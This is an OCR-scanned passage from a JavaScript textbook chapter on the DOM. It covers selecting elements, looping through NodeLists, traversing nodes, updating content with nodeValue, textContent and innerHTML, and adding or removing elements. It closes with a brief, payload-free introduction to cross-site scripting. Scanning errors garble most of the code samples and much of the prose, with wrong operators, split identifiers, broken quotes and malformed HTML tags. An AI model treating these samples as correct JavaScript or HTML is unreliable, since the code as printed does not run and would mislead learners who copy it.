cl ass attribute whose value is 
hot and store the NodeList in a 
variable called el events. 


Use the 1 ength property to 
check how many elements were 
found. If 1 or more are found, run 
the code in the if statement. 


Store the first element from the 
NodeList in a variable called 
fi rstltem. (It says 0 because 
index numbers start at zero.) 
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Array syntax is preferred over the item() method because it is faster. 
Before selecting a node from a NodeList, check that it contains nodes. 
If you repeatedly use the NodeList, store it in a variable. 


ARRAY SYNTAX 

You cart access individual nodes 
using a square bracket syntax 
similar to that used to access 
individual items from an array. 

You specify the index number 
of the element you want inside 
square brackets that follow the 
NodeList, 


As with all DOM queries, if 
you need to access the same 
NodeList several times, store 
the result of the DOM query in a 
variable. 

in the examples on both of these 
pages, the NodeList is stored in 
a variable called elements. 


If you create a variable to hold a 
NodeList (as shown below) but 
there are no matching elements, 
the variable will be an empty 
NodeList. When you check the 
length property of the variable, 
it will return the number 0 
because it does not contain any 
elements. 


var elements = document. getElementsByCl assName( ' hot ') ; 
if (elements. length >= 1) { 

var firstltem = elements[0] ; 

} 


1 2 3 


Create a NodeList containing 
elements that have a cl ass 
attribute whose value is hot, and 
store it in the variable elements. 


If that number is greater than or 
equal to one, run the code inside 
the i f statement. 


Get the first element from the 
NodeList (it says 0 because 
index numbers start at zero). 
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SELECTING ELEMENTS 
USING CLASS ATTRIBUTES 


The getEIementsByCl assNameO 
method allows you to select 
elements whose cl ass attribute 
contains a specific value. 


The method has one parameter: 
the class name which is given 
in quotes within the parentheses 
after the method name. 


Because several elements can 
have the same value for their 
class attribute, this method 
always returns a NodeList. 


c05/js/get-elemenU-by-cl ass-name. j$ 


JAVASCRIPT 


var elements * document. getEl ementsByCl assName( 'hot ') ; // Find hot items 
if (elements .length > 2) { // If 3 or more are found 


var el - elements [2]; 
el .className = 'cool ' ; 


// Select the 
// Change the 


third one from the NodeList 
value of its class attribute 


} 


This example starts by looking 
for elements whose cl ass 
attribute contains hot, (The value 
of a class attribute can contain 
several class names, each 
separated by a space.) The result 
of this DOM query is stored 
in a variable called elements 
because it is used more than 
once in the example. 

An i f statement checks if the 
query found more than two 
elements. If so, the third one is 
selected and stored in a variable 
called el . The cl ass attribute of 
that element is then updated to 
say class. (In tum r this triggers 
a new CSS style, changing the 
presentation of that element.) 

Browser Support: IE9 r Firefox 3, 
Chrome 4, Opera 9.5, Safari 3.1 
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SELECTING ELEMENTS 

BY TAG NAME 


The get El ements ByTag Name () 
method allows you to select 
elements using their tag name. 


The element name is specified 
as a parameter, so it is placed 
inside the parentheses and is 
contained by quote marks. 


Note that you do not include the 
angled brackets that surround 
the tag name in the HTML (just 
the letters inside the brackets). 


JAVASCRIPT 


var elements = document. getEl ementsByTagName{ ' 1 i 1 ) ; 
if (elements. length > 0) { 


c05/ j s /get - el ements -by -tag - name - j s 

// Find <li> elements 
// If 1 or more are found 


var el - el ements [0] ; 
el .className = 'cool 1 ; 


// Select the first one using array syntax 
// Change the value of the class attribute 



This example looks for any <1 i> 
elements In the document. It 
stores the result in a variable 
called elements because the 
result is used more than once in 
this example. 

An i f statement checks if any 
<1 i> elements were found. As 
with any element that can return 
a NodeList, you check that there 
will be a suitable element before 
you try to work with it. 


If matching elements were 
found, the first one is selected 
and its cl ass attribute is 
updated. This changes the color 
of the list item to make it aqua. 

Browser Support: Very good - it 
is safe to use In any scripts. 
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SELECTING ELEMENTS 
USING CSS SELECTORS 


query$e]ector() returns 
the first element node that 
matches the CSS-style selector 
querySelectorAll () returns a 
NodeOst of all of the matches. 


Both methods take a CSS 
selector as their only parameter. 
The CSS selector syntax offers 
more flexibility and accuracy 
when selecting an element than 


just specifying a class name 
or a tag name, and should also 
be familiar to front-end web 
developers who are used to 
targeting elements using CSS. 


cQ5/js/query-se!ector,js 

// querySelector{) only returns the first match 
var el = document. querySel ector( *1 i .hot f ) ; 
el .className = 'cool ' ; 


JAVASCRIPT 


// querySelectorAll returns a NodeList 

// The second matching element (the third list item) is selected and changed 
var els - document. querySel ectorAl 1 ( 1 1 i .hot* ) ; 
els[l] .className = 'cool'; 


These two methods were 
introduced by browser 
manufacturers because a lot 
of developers were including 
scripts [ike jQuery in their 
pages so that they could select 
elements using CSS selectors, 
(You meet jQuery in Chapter 7) 

If you look at the final line of 
code, array syntax is used to 
select the second item from 
the NodeList, even though that 
NodeList is stored in a variable. 



Browser Support The drawback 
with these two methods is that 
they are only supported in more 
recent browsers. 


IE8+ (released Mar 2009} 
Rrefox 3.5+ (released Jun 2009) 
Chrome 1+ (released Sep 2008) 
Opera 10+ (released Sep 2009) 
Safari 3.2+ (released Nov 2008) 
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JavaScript code runs one fine at 
a time, and statements affect 
the content of a page as the 
interpreter processes them. 


If a DOM query runs when a 
page loads, the same query 
could return different elements if 
it is used again later in the page. 


Below you can see how the 
example on the left-hand page 
(query-selector, js) changes 
the DOM tree as it runs. 


1. This is how the page starts. 
There are three <1 i > elements 
that have a class attribute 
whose value is hot. The 
querySelectorO method finds 
the first one, and updates the 
value of its cl ass attribute from 
hot to cool . This also updates 
the DOM tree stored in memory 
so - after this line has run - 
only the second and third <1 i> 
elements have a cl ass attribute 
with a value of hot. 

2 , When the second selector 
runs, there are now only two 
<1 i > elements whose cl ass 
attributes have a value of hot 
(see left), so it just selects these 
two. This time, array syntax is 
used to work with the second of 
the matching elements (which 
is the third list item). Again the 
value of its cl ass attribute is 
changed from hot to cool . 


3, When the second selector has 
done its job, the DOM tree now 
only holds one <1 i> element 
whose cl ass attribute has a 
value of hot. Any further code 
looking for <1 i> elements whose 
cl ass attribute has a value of 
hot would find only this one. 
However, if they were looking 
for <1 i > elements whose class 
attribute has a value of cool r 
they would find two matching 
element nodes. 


1; WHEN THE PAGE FIRST LOADS 


c05/query-sel ector.html 


<ul> 

<li id~ ,l one" class 5sll hot ,l > 

<em>fresh</e!n> figs</li> 

<1 i id= H two" class= ,l hot ,l >pine nuts</li> 
<li Id-" three' 1 class= [, hot ,t >honey</l i> 
<li id= ,, four ,, >balsaniic vinegar</li> 
</ul> 


2: AFTER THE FIRST SET OF STATEMENTS 

c05/query-sel ector . html 

<ul> 

<li id="one" class="cool ll > 

<em>fresh</em> figs</li> 

<1 i id="two n class= ll hot">pine nuts</li> 

<1 i id=" three" cl ass="hot ti >honey</l i> 

<1 i id= l, four l, >bal sarnie vinegar</li> 

</ul> 


3: AFTER THE SECOND SET OF STATEMENTS 


cG5/query-sel ector.html 


<ul> 

<li id="one" cl ass="cool "> 
<em>fresh</em> figs</li> 

<11 id^'two" cl ass="hot">pi ne nuts</li= 
<11 id =, 'three" class=''cooT'>honey</l i> 
<1 i id="four">bal samic vi negar</1 i> 
</ul> 
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REPEATING ACTIONS FOR 
AN ENTIRE NODELIST 


When you have a NodeList, you can loop 
through each node in the collection and 
apply the same statements to each. 


in this example, once a NodeList 
has been created, a for loop is 
used to go through each element 
in the NodeList. 


Alt of the statements inside 
the for loop's curly braces are 
applied to each element in the 
NodeList one- by- one. 


To indicate which item of the 
NodeList is currently being 
worked with, the counter 1 is 
used in the array-style syntax 


var hot Items = document. query Sel ectorAll ( ' 1 i . hot ') ; 
for (var i =0; i < hot I terns. length; i++) { 
hotItems[i] .className = 'cool 1 ; 

} 


1 

The variable hotltems contains 
a NodeList. It contains all 
list Items whose cl ass 
attribute has a value of hot. 
They are collected using the 
query Sel ectorAll () method. 


2 

The length property of the 
NodeList indicates how many 
elements are in the NodeList. 
The number of elements 
dictates how many times the 
loop should run. 


3 

Array syntax is used to indicate 
which item in the NodeList is 
currently being worked with: 
hot Items [I ] 

It uses the counter variable 
inside the square brackets. 
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LOOPING THROUGH 

A NODELIST 


if you want to apply the same 
code to numerous elements, 
looping through a NodeList is a 
powerful technique. 


JAVASCRIPT 


It involves finding out how many 
items are in the NodeList, and 
then setting a counter to loop 
through them, one-by-one. 


Each time the loop runs, the 
script checks that the counter 
is less than the total number of 
items in the NodeList. 

cQS/js/node-list.js 


var hotltems = document , querySel ectorAl 1 ( 

if (hotltems. length > 0) { 

for (var 1=0; i<hotItems. length; i++) 
hotltems [i] .className = “cool 1 ; 

1 


li.hot'); // Store NodeList in array 

// If it contains items 

{ // Loop through each item 

// Change value of class attribute 


RESULT 



In this example, the 
NodeList is generated using 
querySel ectorAl 1 (), and it is 
looking for any <1 i> elements 
that have a cl ass attribute 
whose value is hot. 

The NodeList is stored in a 
variable called hotltems, and the 
number of elements in the list is 
found using the length property. 

For each of the elements in the 
NodeList, the value of the cl ass 
attribute is changed to cool . 
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LOOPING THROUGH A 
NODELIST: PLAY-BY-PLAY 



LISTKING 


BUY GROCERIES 

fresh tigs 



At the start of this example, there 
are three list items with a class 
attribute whose value is hot so the 
value of hot Items, length is 3. 


is 0 < 3? ad d 1 to 0 



i = 0 i = 1 


At first; the value of the counter 
is set to 0 S so the first item from 
the Node List (which has an index 
of 0) is targeted and the value of 
its ct ass attribute is set to cool . 
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for (var i = 0; i < hot I terns, length; i++) { 
hotItems[i] .className = 'cool'; 

} 



When the value of the counter 
is 1, the second item from the 
NodeList (which has an index of 
1) is targeted and the value of its 
class attribute is set to cool . 


When the value of the counter 
is 2, the third item from the 
NodeList (which has an index of 
2) is targeted and the value of its 
class attribute is set to cool. 


When the value of the counter 
is 3 f the condition no longer 
returns true, so the loops ends. 
The script then continues to the 
first line of code after the loop. 
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TRAVERSING THE DOM 


When you have an element node, you can select 
another element in relation to it using these five 
properties. This is known as traversing the DOM. 


parentNode 

This property finds the element 
node for the containing (or 
parent) element in the HTML, 

CD If you started with the 
first <1 i > element, then its 
parent node would be the one 
representing the <ul > element 


prevTOusSibllng 
nextSibl ing 

These properties find the 
previous or next sibling of a node 
if there are siblings. 

If you started with the first <1 i > 
element, it would not have a 
previous sibling , However, its next 
sibling (2) would be the node 
representing the second <1 i >. 


fi rstChi 1 d 
1 astChi 1 d 

These properties find the first or 
last child of the current element. 

If you started with the <ul> 
element, the first child would be 
the node representing the first 
<1 i> element, and (3) the fast 
child would be the last <1 i>. 


r, 

v 

L 


® — > 

r 

11 



ul 



li If 


These are properties of the 
current node (not methods to 
select an element); therefore, 
they do not end in parentheses. 


If you use these properties and 
they do not have a previous/next 
sibling, or a first/last child, the 
result will be null. 


These properties are read-only; 
they can only be used to select 
a new node, not to update a 
parent, sibling, or child. 
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WHITESPACE NODES 


Traversing the DOM can be difficult because 
some browsers add a text node whenever they 
come across whitespace between elements. 


Most browsers, except IE, treat 
whitespace between elements 
(such as spaces or carriage 
returns) as a text node, so the 
properties below return different 
elements in different browsers: 

previousSibl ing 
nextSibllng 
first Chi Id 
lastChild 


Below, you can see ail of the 
whitespace nodes added to the 
DOM tree for the list example. 
Each one is represented by a 
green square. You could strip 
all the whitespace out of a page 
before serving ft to the browser. 
This would also make the page 
smaller and faster to serve/load. 
However, it would also make the 
code m uch harder to read. 


Another way around this 
problem is to avoid using these 
DOM properties altogether. 

One of the most popular ways to 
address this kind of problem is 
to use a JavaScript library such 
as jQuery, which helps deal with 
such problems. These types of 
browser inconsistencies were a 
big factor in jQuery's popularity. 



ul 

”i 1 r 

li li 


1 i 


Internet Explorer (shown above) ignores whitespace and does not create extra text nodes. 



Chrome, Firefox, Safari, and Opera create text nodes from whitespace (spaces and carriage returns). 
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PREVIOUS & NEXT SIBLING 


You have just seen that 
these properties can return 
inconsistent results in different 
browsers. However, it is safe 
to use them when there is no 
whitespace between elements. 

c05/si bl ing,htm1 


For this example, all spaces 
between the HTML elements 
have been removed. In order to 
demonstrate these properties, 
the second list item is selected 
using get ElementBy Id (). 


From this element node, the 
previousSibl ing property will 
return the first <1 i > element, 
and the nextSibling property 
will return the third <li> 
element. 


HTML 


<ul><li id="one" class="hot''><em>fresh</em> figs</li><li id" “two" 
class="hot">pine nuts</lixli id= , ‘three <l class="hot">honey</li><li 
i d="four''>balsamic vinegar</l i></ul> 


c0&/ j s/s i bl ing. js 


JAVASCRIPT 


// Select the starting point and find its siblings 
var start Item = document. getEl ementBy Id ( 1 two* ) ; 
var prevltem = startltem. previousSibl ing; 
var nextltem = startltem. nextSi bl ing; 

// Change the values of the siblings 1 class attributes 
prevltem. cl assName e ‘complete 1 ; 
nextltem.className - 'cool 1 ; 


ul 



0 START 

• PREVIOUS SIBLING 
0 NEXTSIBLING 

Note how references to sibling 
nodes are stored in new 
variables. This means properties 
such as cl assName can be used 
on that node by adding the dot 
notation between the variable 
nameandthe property. 


RESULT 



fresh Wgs © 



pine nuts 



honey 



balsamic vinegar 
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FIRST & LAST CHILD 


These properties also return 
inconsistent results if there is 
whitespace between elements, 
in this example, a slightly 
different solution is used in the 
HTML - the closing tags are put 


next to the opening tags of 
the next element, making it 
a little more readable. The 
example starts by using the 
get El ementsByTagName () 
method to select the <ul> 


element from the page. From this 
element node, the f i rstChi 1 d 
property wifi return the first <1 i> 
element, and the 1 astChi 1 d 
property will return the last <1 i > 
element. 


HTML 


<ul 

><1 i id="one" cl ass="hot"><em>fresh</em> figs</1i 
><1 i id="two" class="hot">pine nuts</li 
><1i id="three" class="hot">honey</l i 
><li id="four">bal sarnie vinegar</li 
></ul> 


cOS/chi 1 d . html 


JAVASCRIPT 


// Select the starting point and find its children 
var start Item - document .getEl ementsByTagName ( 1 ul 1 ) [0] ; 
var firstltem - start Item. fi rstChi Id; 
var lastltem = startltem JastChild; 

// Change the values of the children’s class attributes 
firstItem,setAttribute{ 'class’ , ’complete') ; 
lastltem.setAttributeCclass' , 'cool ') ; 


tG5/Js/chilcLjs 




START 
FIRST CHILD 
LAST CHILD 
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HOW TO GET/UPDATE 
ELEMENT CONTENT 


So far this chapter has focused on finding elements in the DOM tree. 
The rest of this chapter shows how to access/update element content. 
Your choice of techniques depends upon what the element contains. 


Take a look at the three examples of <1 i> elements 
on the right. Each one adds some more markup and, 
as a result the fragment of the DOM tree for each 
list item is very different. 

• The first (on this page) just contains text, 

• The second and third (on the right-hand page) 
contain a mix of text and an <em> element. 

You can see that by adding something as simple as 
an <em> element, the DOM tree’s structure changes 
significantly, In turn, this affects how you might work 
with that list item. When an element contains a mix 
of text and other elements, you are more likely to 
work with the containing element rather than the 
individual nodes for each descendant. 


<li id="one ,, >figs</l i> 




Above, the <1 i > element has; 

• One child node holding the word that you can see 
in the list item: figs 

# An attribute node holding the id attribute. 


To work with the content of elements you can: 

• Navigate to the text nodes. This works best 
when the element contains only text, no other 
elements. 

• Work with the containing element. This allows 
you to access its text nodes and child elements. 
It works better when an element has text nodes 
and child elements that are siblings. 


TEXT NODES 

Once you have navigated from an element to its text 
node, there is one property that you will commonly 
find yourself using: 

PROPERTY DESCRIPTION 

nodeVal ue Accesses text from node (p2!4) 
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<1 i i d = "one 1, ><em>fresh</em> figs</li> 


<li id =,l one">s1x <em>fresh</em> figs</li> 



— attribute 



1 i — attribute 

H 1 

em text: 

J figs 

text: 

fresh 


An <em> element is added. It becomes the first child. 

* The <em> element node has its own child text 
node which contains the word fresh, 

• The original text node Is now a sibling of the node 
that represents the <enn> element. 


When text is added before the <em> element: 

• The first child of the <1 i> element is a text node, 
which contains the word six, 

• It has a sibling which is an element node for the 
<em> element. In turn, that <em> element node 
has a child text node containing the word fresh, 

• Finally, there is a text node holding the word 
figs, which is a sibling of both the text node for 
the word "six" and the element node, <em>. 


CONTAINING ELEMENT 

When you are working with an element node (rather 
than Its text node), that element can contain markup. 
You have to choose whether you want to retrieve 
(get) or update (set) the markup as well as the text. 


When you use these properties to update the 
content of an element, the new content will 
overwrite the entire contents of the element (both 
text and markup). 


PROPERTY 

innerHTMl 

textContent 

innerText 


DESCRIPTION 

Gets/sets text & markup (p220) 
Gets/sets text only (p216) 
Gets/sets text only (p216) 


For example, if you used any of these properties to 
update the content of the <body> element, it would 
update the entire web page. 
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ACCESS & UPDATE A TEXT 
NODE WITH NODEVALUE 


When you select a text node, you can retrieve or amend the content of it 
using the nodeVal ue property. 


<11 id= n one"><em>fresh</em> figs</li> 

1i — attribute 



text: 

fresh 


The code below shows how you access the second text node. It will return the result: figs 

document .get El ementBy Id ( 1 one ' ) . fi rstChi ld.nextSibl i ng. nodeVal ue; 

1 © 1 1 ® 1 ‘ ® 1 L - © J 


In order to use nodeVal ue, you 1. The <1 i > element node is selected using the get El ementBy Id ( ) method. 

must be on a text node, not the 2. The first child of <1 i> is the <em> element 

element that contains the text. 3* The text node is the next sibling of that <etn> element, 

4. You have the text node and can access its contents using nodeVal ue. 

This example shows that 
navigating from the element 
node to a text node can be 
complicated. 

If you do not know whether there 
will be element nodes alongside 
text nodes, it is easier to work 
with the containing element. 
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ACCESSING & CHANGING 

A TEXT NODE 


To work with text in an element, 
first the element node is 
accessed and then Its text node. 


JAVASCRIPT 


The text node has a property 
called nodeVal ue which returns 
the text in that text node. 


You can also use the nodeVal ue 
property to update the content 
of a text node, 

c05/js/rode-value .js 

Get second list item 
Get its text content 
Change pine nuts to kale 
Update the list item 


var itemTwo - document *getEl ementById( 1 two' } ; // 
var ellext = i temTwo.fi rstChi 1 d. nodeValue; // 
el Text = el Text, replace( ‘pine nuts', 1 k a 1 0 3 ) ; // 
itemTwo.fi rstChi Id, nodeValue - el Text; // 



This example takes the text 
content of the second list item 
and changes It from pi ne nuts 
to kale. 

The first line collects the second 
list item, ft is stored in a variable 
called itemTwo, 

Next the text content of that 
element is stored in a variable 
called el Text, 

The third line of text replaces 
the words pi ne nuts 1 with 
*kale r using the String object’s 
replace() method. 

The last line uses the nodeVal ue 
property to update the content 
of the text node with the 
updated value. 
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ACCESS & UPDATE TEXT 
WITH TEXTCONTENT 
(& INNERTEXT) 


The textContent property allows you to 
collect or update just the text that is in the 
containing element (and its children). 


textContent 


<11 1d= p, one"><em>fresh</em> fig$</li> 


To collect the text from the 
<1 1 > elements in our example 
(and Ignore any markup inside 
the element) you can use the 
textContent property on the 
containing <li> element. In this 
case it would return the value: 
fresh figs. 


11 - attribute 



You can also use this property document .getEl ementBy Id { 1 one textContent ; 

to update the content of the 
dement; it replaces the entire 

content of it (including any One issue with the textContent property is that Internet Explorer did 

markup). not support it until IE9. (All other major browsers support it.) 


innerText 


You may also come across a property called i nnerText, but you should generally avoid it for three key reasons: 


SUPPORT 

Although most browser 
manufacturers adopted the 
property, Fi refox does not 
because i nnerText is not part of 
any standard. 


OBEYS CSS 

It will not show any content 
that has been hidden by CSS. 

For example, if there were a CSS 
rule that hid the <em> elements, 
the innerText property would 
return only the word f i gs. 


PERFORMANCE 

Because the innerText property 
takes into account layout rules 
that specify whether the element 
is visible or not, it can be slower 
to retrieve the content than the 
textContent property. 
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ACCESSING TEXT ONLY 


In order to demonstrate the 
difference between textContent 
and i nnerText, this example 
features a CSS rule to hide the 
contents of the <etn> element. 


The script starts off by getting 
the content of the first list item 
using both the textContent 
property and innerText. It then 
writes the values after the list. 


Finally, the value of the first 
list Item is then updated to say 
sourdough bread. This is done 
using the textContent property. 


JAVASCRIPT 


c05/j s/i nner-teKt-and-text-content , j$ 


var firstltem = document. getEl ementByld (' one’ ) ; // Find first list item 

var showTextContent = firstltem. textContent; // Get value of textContent 

var showInnerText = first Item. innerText; // Get value of innerText 

// Show the content of these two properties at the end of the list 

var msg = '<p>textContent: ’ + showTextContent + '</p>'; 

msg += '<p>innerlext: 1 + showInnerText + 
var el = document. getEl ementByld (' scri ptResults') ; 
el.innerHTML = msg; 


firstltem. textContent - 'sourdough bread'; // Update the first list item 


RESULT 



sourdough bread 



pine nuts 



honey 



balsamic vinegar 




In most browsers: 

• textContent collects 
the words fresh figs. 

• i nnerHTML just shows f 1 gs 
(because fresh was hidden 
by the CSS). 

But: 

• In IE8 or earlier, the 
textContent property 
does not work. 

• tn Firefox, the innerText 
property witl return 

undef i ned because the it was 
never implemented in Firefox. 
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ADDING OR REMOVING 
HTML CONTENT 


There are two very different approaches to adding and removing content 
from a DOM tree: the i nnerHTML property and DOM manipulation. 


THE i nnerHTML PROPERTY 

Note: there are security risks associated with using i nnerHTML - these issues are described on p228. 


APPROACH 

i nnerHTML can be used on any 
element node. It is used both to 
retrieve and replace content. 

To update an element, new 
content is provided as a string. 
It can contain markup for 
descendant elements. 


ADDING CONTENT 

To add new content: 

T Store new content (including 
markup) as a string in a variable. 
2, Select the element whose 
content you want to replace. 

3* Set the element's i nnerHTML 
property to be the new string. 


REMOVING CONTENT 

To remove all content from an 
element you set i nnerHTML to 
an empty string. To remove one 
element from a DOM fragment, 
e.g., one <1 i > from a <u1 >, 
you need to provide the entire 
fragment minus that element. 


EXAMPLE: CHANGING A LIST ITEM 


1: Create variable holding markup 
var item; 

item = *<em>Fresh</em> figs'; 

You can have as much or as little 
markup m the variable as you 
want. It is a quick way to add a 
lot of markup to the DOM tree. 


2: Select element whose 
content you want to update 


3: Update content of selected 
element with new markup 
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DOM manipulation easily targets individual nodes in the DOM tree, 
whereas innerHTML is better suited to updating entire fragments. 


DOM MANIPULATION METHODS 

DOM manipulation can be safer than using i nnerHTML, but it requires more code and can be slower. 


APPROACH 

DOM manipulation refers to a 
set of DOM methods that allow 
you to create element and text 
nodes, and then attach them to 
the DOM tree or remove them 
from the DOM tree. 


ADDING CONTENT 

To add content, yoli use a DOM 
method to create new content 
one node at a time and store it in 
a variable. Then another DOM 
method is used to attach it to 
the right place in the DOM tree. 


REMOVING CONTENT 

You can remove an element 
(along with any contents and 
child elements it may contain) 
from the DOM tree using a 
single method. 


EXAMPLE: ADDING A LIST ITEM 


1; Create new text node 

text 

2 : Create new element node 

11 

3: Add text node to element node 

11 



text 


4: Select element you want to 
add the new fragment to 



5: Append the new fragment to 
the selected element 
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ACCESS & UPDATE TEXT & 
MARKUP WITH INNERHTML 


Using the i nnerHTML property, you can access 
and amend the contents of an element, 
including any child elements. 


i nnerHTML 


<li id= ll one ll ><em>fresh</em> f i gs-^/l i ^ 


When getting HTML from an 
element, the i nnerHTML property 
will get the content of an 
element and return it as one long 
string, including any markup that 
the element contains. 

When used to set new content 
for an element, it will take a 
string that can contain markup 
and process that string, adding 
any elements within it to the 
DOM tree. 

When adding new content using 
l nnerHTML, be aware that one 
missing dosing tag coutd throw 
out the design of the entire page. 


1 i — attribute 



GET CONTENT 

The following line of code collects the content of the list item and adds it 
to a variable called el Content: 

var el Content = document , get El ementBy!d( 'one t } T nnerHTML; 

The el Content variable would now hold the string: 

, <em>fresh</em> figs' 


Even worse, if i nnerHTML is used 
to add content that your users 
created to a page, they could add 
malicious content. See p228. 


SET CONTENT 

The following fine of code adds the content of the el Content variable 
(including any markup) to the first list item: 

docurnent. get Element By Id ( 'one 1 ) .i nnerHTML * el Content; 
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UPDATE TEXT & MARKUP 


This example starts by storing 
the first list item In a variable 
called first Item. 


JAVASCRIPT 


ft then retrieves the content of 
this list item and stores It in a 
variable called itemContent. 


Finally, the content of the list 
item is placed inside a link. Note 
how the quotes are escaped 

c05/js/i nner-html .js 


// Store the first list item in a variable 
var first Item - document .getElementBy Id ( 1 one ' ) i 


jj Get the content of the first list item 
var itemContent = firstltemJnnerHTML; 

// Update the content of the first list item so it is a link 
firstltem.innerHTML = '<a href=\ ll http://example.orgV l > 1 + itemContent + , </a> t ; 



As the content of the string 
is added to the element using 
the i nnerHTML property, the 
browser will add any elements 
in the string to the DOM. In 
this example, an <a> element 
has been added to the page. 
(Any new elements will also be 
available to other scripts in the 
page.) 

If you use attributes in your 
HTML code, escaping the 
quotation using the backslash 
character \ can make it dearer 
that those characters are not 
part of the script. 
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ADDING ELEMENTS USING 
DOM MANIPULATION 


DOM manipulation offers another technique 
to add new content to a page (rather than 
i nnerHTML). It involves three steps: 


1 

CREATE THE ELEMENT 

createElement() 

You start by creating a new 
element node using the 
ereateElementO method. 

This element node is stored 
in a variable. 

When the element node is 
created, it is not yet part of the 
DOM tree, it is not added to 
the DOM tree until step 3. 


2 

GIVE IT CONTENT 

createTextNode{) 

createlextNodef) creates a 
new text node. Again, the node 
is stored in a variable. It can be 
added to the element node using 
the appendChild(} method. 

This provides the content for the 
element, although you can skip 
this step if you want to attach an 
empty element to the DOM tree. 


3 

ADD IT TO THE DOM 

appendChild() 

Now that you have your element 
(optionally with some content 
in a text node), you can add 
it to the DOM tree using the 
appendChild O method. 

The appendChi ld() method 
allows you to specify which 
element you want this node 
added to, as a child of it. 


In the example at the end of the 
chapter, you will see another 
method that can be used to 
insert an element into the DOM 
tree. The i nsert Before () 
method is used to add a new 
element before the selected 
DOM node. 


DOM manipulation and i nnerHTML both have uses. You will see a 
discussion of when to choose each method on p226. 

Note: You may see developers leave an empty element in their HTML 
pages in order to attach new content to that element, but this practice is 
best avoided unless absolutely necessary. 
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ADDING AN ELEMENT TO 

THE DOM TREE 


createElementO creates an 
element that can be added to the 
DOM tree, in this case an empty 
<1 i> element for the list. 


This new element is stored 
inside a variable called newEl 
until it is attached to the DOM 
tree later on. 


createTextNode() allows you to 
create a new text node to attach 
to an element. It is stored in a 
variable called newText. 


JAVASCRIPT 


// Create a new element and store it in a variable, 
var newEl = document .createEl ement( M i 1 } ; 

// Create a text node and store it in a variable, 
var newText = document, createTextNode{ J quinoa f ) ; 

// Attach the new text node to the new element. 
newEl , appendChi 1 d (newText) ; 

// Find the position where the new element should be added, 
var position = document, getEl ementsByTagNamef 1 ul 1 } [0] ; 

// Insert the new element into its position, 
posi ti on. appendChi 1 d (newEl ) ; 


cG5/j s/add-el ement.js 



The text node is added to 
the new element node using 
appendChi 1 d () , 

The getElementsByTagNameO 
method selects the position in 
the DOM tree to insert the new 
element (the first <ul> element 
in the page). 

Finally, appendChi 1 d () is used 
again - this time to insert the 
new element and its content into 
the DOM tree. 
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REMOVING ELEMENTS VIA 
DOM MANIPULATION 


DOM manipulation can be used to remove 
elements from the DOM tree. 


1 

STORE THE ELEMENT 
TO BE REMOVED IN A 
VARIABLE 

You start by selecting the 
element that is going to be 
removed and store that element 
node in a variable. 

You can use any of the methods 
you saw in the section on DOM 
queries to select the element. 


When you remove an element 
from the DOM, it will also 
remove any child elements. 


2 

STORE THE PARENT OF 
THAT ELEMENT IN A 
VARIABLE 

Next, you find the parent element 
that contains the element you 
want to remove and store that 
element node in a variable. 

The simplest way to get this 
element is to use the parentNode 
property of this element. 


The example on the right is quite 
simple, but this technique can 
significantly alter the DOM tree. 


3 

REMOVE THE ELEMENT 
FROM ITS CONTAINING 
ELEMENT 

The removeChi ld() method is 
used on the containing element 
that you selected in step 2, 

The removeChild() method 
takes one parameter: the 
reference to the element that 
you no longer want. 


Removing elements from the 
DOM will affect the index 
number of siblings in a NodeUst, 
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REMOVING AN ELEMENT 
FROM THE DOM TREE 


This example uses the 
removeChildO method to 
remove the fourth item from the 
list (along with its contents). 


The first variable, removeEl, 
stores the actual element you 
want to remove from the page 
(the fourth list item). 


The second variable, 
containerEl, stores the <ul> 
element that contains the 
element you want to remove. 


JAVASCRIPT 


c05/j s/remove-el ement . j s 


var removeEl = document. getEl ementsByTagName{ 1 1 i 1 ) [3] ; // The element to remove 
var containerEl = removeEl .parentNode; // Its containing element 
containerEl .removeChi Id (removeEl); // Removing the element 



The removeChildO method is 
used on the variable that holds 
the container node. 

It requires one parameter: the 
element you want to remove 
(which is stored in the second 
variable). 


1 



0 CONTAINER ELEMENT 
0 ELEMENT TO BE REMOVED 
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COMPARING TECHNIQUES: 
UPDATING HTML CONTENT 


So far, you have seen three techniques for adding HTML to a web page. 
It's time to compare when you should use each one. 


In any programming language, there are often 
several ways to achieve the same task, fn fact if you 
asked ten programmers to write the same script, you 
may well find ten different approaches. 

Some programmers can be rather opinionated and 
believe that their way is always the "right" way to do 
things - when there are often several right ways. If 
you understand why people prefer some approaches 
over others, then you are in a strong position to 
decide whether it meets the needs of your project. 


document.wri te() 

The document objects write () method is a simple 
way to add content that was not in the original 
source code to the page, but its use is rarely advised. 

ADVANTAGES 

• It is a quick and easy way to show beginners how 
content can be added to a page. 

DISADVANTAGES 

• It only works" when the page initially loads. 

• If you use it after the page has loaded it can: 

1. Overwrite the whole page 

2. Not add the content to the page 

3. Create a new page 

• It can cause problems with XHTML pages that 
are strictly validated. 

• This method is very rarely used by programmers 
these days and is generally frowned upon. 
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You can choose different techniques depending on the task (and keep in 
mind how the site might be developed in the future). 


element . innerHTML 

The i rmerHTML property lets you get/update the 

entire content of any element (including markup) as 

a string. 

ADVANTAGES 

• You can use it to add a lot of new markup using 
less code than DOM manipulation methods. 

• It can be faster than DOM manipulation when 
adding a lot of new elements to a web page. 

• It is a simple way to remove all of the content 
from one element (by assigning It a blank string). 

DISADVANTAGES 

• It should not be used to add content that has 
come from a user (such as a username or blog 
comment), as it can pose a significant security 
risk which is discussed over the next four pages. 

• It can be difficult to isolate single elements 
that you want to update within a larger DOM 
fragment, 

• Event handlers may no longer work as intended. 


DOM MANIPULATION 

DOM manipulation refers to using a set of methods 

and properties to access, create, and update 

elements and text nodes, 

ADVANTAGES 

• it is suited to changing one element from a DOM 
fragment where there are many siblings. 

• It does not affect event handlers, 

• It easily allows a script to add elements 
incrementally (when you do not want to alter a tot 
of code at once), 

DISADVANTAGES 

• If you have to make a lot of changes to the 
content of a page, it is slower than innerHTML. 

• You need to write more code to achieve the same 
thing compared with InnerHTML. 
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CROSS-SITE SCRIPTING 
(XSS) ATTACKS 


If you add HTML to a page using i nnerHTML (or several jQuery methods), 
you need to be aware of Cross-Site Scripting Attacks or XSS; otherwise, 
an attacker could gain access to your users' accounts. 


This book has several warnings about security issues 
when you add HTML to a page using t nnerHTML. 
(There are also notes about tt when using jQuery,) 

HOW XSS HAPPENS 

XSS involves an attacker placing malicious code into 
a site. Websites often feature content created by 
many different people. For example: 

• Users can create profiles or add comments 

• Multiple authors may contribute articles 

• Data can come from third-party sites such as 
Facebook, Twitter, news tickers, and other feeds 

• Files such as images and video may be uploaded 

Data you do not have complete control over is known 
as untrusted data; it must be handled with care. 


The next four pages describe the issues you need 
to be aware of, and how to make your site secure 
